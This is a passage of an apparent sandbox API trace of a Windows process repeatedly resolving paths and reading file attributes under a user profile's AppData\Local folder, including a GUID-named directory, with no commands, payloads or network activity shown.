out: lpFileInformation=0x14e750*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.192] GetLastError () returned 0xcb [0063.192] SetErrorMode (uMode=0x1) returned 0x1 [0063.192] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x14e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0063.192] GetLastError () returned 0xcb [0063.192] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x14e280, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0063.192] GetLastError () returned 0xcb [0063.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0063.192] GetLastError () returned 0xcb [0063.192] SetErrorMode (uMode=0x1) returned 0x1 [0063.192] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | out: lpFileInformation=0x14e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.192] GetLastError () returned 0xcb [0063.192] SetErrorMode (uMode=0x1) returned 0x1 [0063.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0063.192] GetLastError () returned 0xcb [0063.192] SetErrorMode (uMode=0x1) returned 0x1 [0063.192] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | out: lpFileInformation=0x14e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.192] GetLastError () returned 0xcb [0063.192] SetErrorMode (uMode=0x1) returned 0x1 [0063.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x14e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0063.192] GetLastError () returned 0xcb [0063.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\.", nBufferLength=0x105, lpBuffer=0x14e280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0063.192] GetLastError () returned 0xcb [0063.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0063.192] GetLastError () returned 0xcb [0063.192] SetErrorMode (uMode=0x1) returned 0x1 [0063.193] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | out: lpFileInformation=0x14e750*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.193] GetLastError () returned 0xcb [0063.193] SetErrorMode (uMode=0x1) returned 0x1 [0063.193] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0063.193] GetLastError () returned 0xcb [0063.193] SetErrorMode (uMode=0x1) returned 0x1 [0063.193] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | out: lpFileInformation=0x14e750*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.193] GetLastError () returned 0xcb [0063.193] SetErrorMode (uMode=0x1) returned 0x1 [0063.193] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x14e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0063.193] GetLastError () returned 0xcb [0063.193] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\.", nBufferLength=0x105, lpBuffer=0x14e280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0063.193] GetLastError () returned 0xcb [0063.193] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0063.193] GetLastError () returned 0xcb [0063.193] SetErrorMode (uMode=0x1) returned 0x1 [0063.193] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | out: lpFileInformation=0x14e750*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2f53010, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb2f53010, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.193] GetLastError () returned 0xcb [0063.193] SetErrorMode (uMode=0x1) returned 0x1 [0063.193] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0063.193] GetLastError () returned 0xcb [0063.194] SetErrorMode (uMode=0x1) returned 0x1 [0063.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | out: lpFileInformation=0x14e750*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2f53010, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb2f53010, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.194] GetLastError () returned 0xcb [0063.194] SetErrorMode (uMode=0x1) returned 0x1 [0063.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x14e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0063.194] GetLastError () returned 0xcb [0063.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\.", nBufferLength=0x105, lpBuffer=0x14e280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0063.194] GetLastError () returned 0xcb [0063.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.194] GetLastError () returned 0xcb [0063.194] SetErrorMode (uMode=0x1) returned 0x1 [0063.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | out: lpFileInformation=0x14e750*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb06b58b0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xb4d86730, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb4d86730, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.194] GetLastError () returned 0xcb [0063.194] SetErrorMode (uMode=0x1) returned 0x1 [0063.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.194] GetLastError () returned 0xcb [0063.194] SetErrorMode (uMode=0x1) returned 0x1 [0063.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | out: lpFileInformation=0x14e750*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb06b58b0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xb4d86730, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb4d86730, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.194] GetLastError () returned 0xcb [0063.194] SetErrorMode (uMode=0x1) returned 0x1 [0063.195] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nBufferLength=0x105, lpBuffer=0x14e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.195] GetLastError () returned 0xcb [0063.195] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\.", nBufferLength=0x105, lpBuffer=0x14e280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.195] GetLastError () returned 0xcb [0063.195] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x14e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0063.195] GetLastError () returned 0xcb [0063.195] SetErrorMode (uMode=0x1) returned 0x1 [0063.195] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x14e75c | out: lpFileInformation=0x14e75c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.195] GetLastError () returned 0xcb [0063.195] SetErrorMode (uMode=0x1) returned 0x1 [0063.195] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x14e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0063.195] GetLastError () returned 0xcb [0063.195] SetErrorMode (uMode=0x1) returned 0x1 [0063.195] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x14e75c | out: lpFileInformation=0x14e75c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.195] GetLastError () returned 0xcb [0063.195] SetErrorMode (uMode=0x1) returned 0x1 [0063.195] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x14e2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0063.195] GetLastError () returned 0xcb [0063.195] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x14e28c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0063.196] GetLastError () returned 0xcb [0063.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x14e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0063.196] GetLastError () returned 0xcb [0063.196] SetErrorMode (uMode=0x1) returned 0x1 [0063.196] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x14e75c | out: lpFileInformation=0x14e75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.196] GetLastError () returned 0xcb [0063.196] SetErrorMode (uMode=0x1) returned 0x1 [0063.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x14e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0063.196] GetLastError () returned 0xcb [0063.196] SetErrorMode (uMode=0x1) returned 0x1 [0063.196] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x14e75c | out: lpFileInformation=0x14e75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.196] GetLastError () returned 0xcb [0063.196] SetErrorMode (uMode=0x1) returned 0x1 [0063.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x14e2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0063.196] GetLastError () returned 0xcb [0063.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\.", nBufferLength=0x105, lpBuffer=0x14e28c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0063.196] GetLastError () returned 0xcb [0063.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x14e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0063.196] GetLastError () returned 0xcb [0063.196] SetErrorMode (uMode=0x1) returned 0x1 [0063.196] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x14e75c | out: lpFileInformation=0x14e75c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.196] GetLastError () returned 0xcb [0063.196] SetErrorMode (uMode=0x1) returned 0x1 [0063.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x14e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0063.197] GetLastError () returned 0xcb [0063.197] SetErrorMode (uMode=0x1) returned 0x1 [0063.197] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x14e75c | out: lpFileInformation=0x14e75c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.197] GetLastError () returned 0xcb [0063.197] SetErrorMode (uMode=0x1) returned 0x1 [0063.197] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x14e2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0063.197] GetLastError () returned 0xcb [0063.197] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\.", nBufferLength=0x105, lpBuffer=0x14e28c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0063.197] GetLastError () returned 0xcb [0063.197] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x14e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0063.197] GetLastError () returned 0xcb [0063.197] SetErrorMode (uMode=0x1) returned 0x1 [0063.197] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local"), fInfoLevelId=0x0, lpFileInformation=0x14e75c | out: lpFileInformation=0x14e75c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2f53010, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb2f53010, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.197] GetLastError () returned 0xcb [0063.197] SetErrorMode (uMode=0x1) returned 0x1 [0063.197] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x14e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0063.197] GetLastError () returned 0xcb [0063.197] SetErrorMode (uMode=0x1) returned 0x1 [0063.197] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local"), fInfoLevelId=0x0, lpFileInformation=0x14e75c | out: lpFileInformation=0x14e75c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2f53010, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb2f53010, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.197] GetLastError () returned 0xcb [0063.197] SetErrorMode (uMode=0x1) returned 0x1 [0063.198] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x14e2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0063.198] GetLastError () returned 0xcb [0063.198] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\.", nBufferLength=0x105, lpBuffer=0x14e28c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0063.198] GetLastError () returned 0xcb [0063.198] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nBufferLength=0x105, lpBuffer=0x14e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.198] GetLastError () returned 0xcb [0063.198] SetErrorMode (uMode=0x1) returned 0x1 [0063.198] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd"), fInfoLevelId=0x0, lpFileInformation=0x14e75c | out: lpFileInformation=0x14e75c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb06b58b0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xb4d86730, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb4d86730, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.198] GetLastError () returned 0xcb [0063.198] SetErrorMode (uMode=0x1) returned 0x1 [0063.198] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nBufferLength=0x105, lpBuffer=0x14e2dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.198] GetLastError () returned 0xcb [0063.198] SetErrorMode (uMode=0x1) returned 0x1 [0063.198] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd"), fInfoLevelId=0x0, lpFileInformation=0x14e75c | out: lpFileInformation=0x14e75c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb06b58b0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xb4d86730, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb4d86730, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.198] GetLastError () returned 0xcb [0063.198] SetErrorMode (uMode=0x1) returned 0x1 [0063.198] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nBufferLength=0x105, lpBuffer=0x14e2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.198] GetLastError () returned 0xcb [0063.198] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\.", nBufferLength=0x105, lpBuffer=0x14e28c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.198] GetLastError () returned 0xcb [0063.206] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nBufferLength=0x105, lpBuffer=0x14e3ac, lpFilePart=0x0 | out: 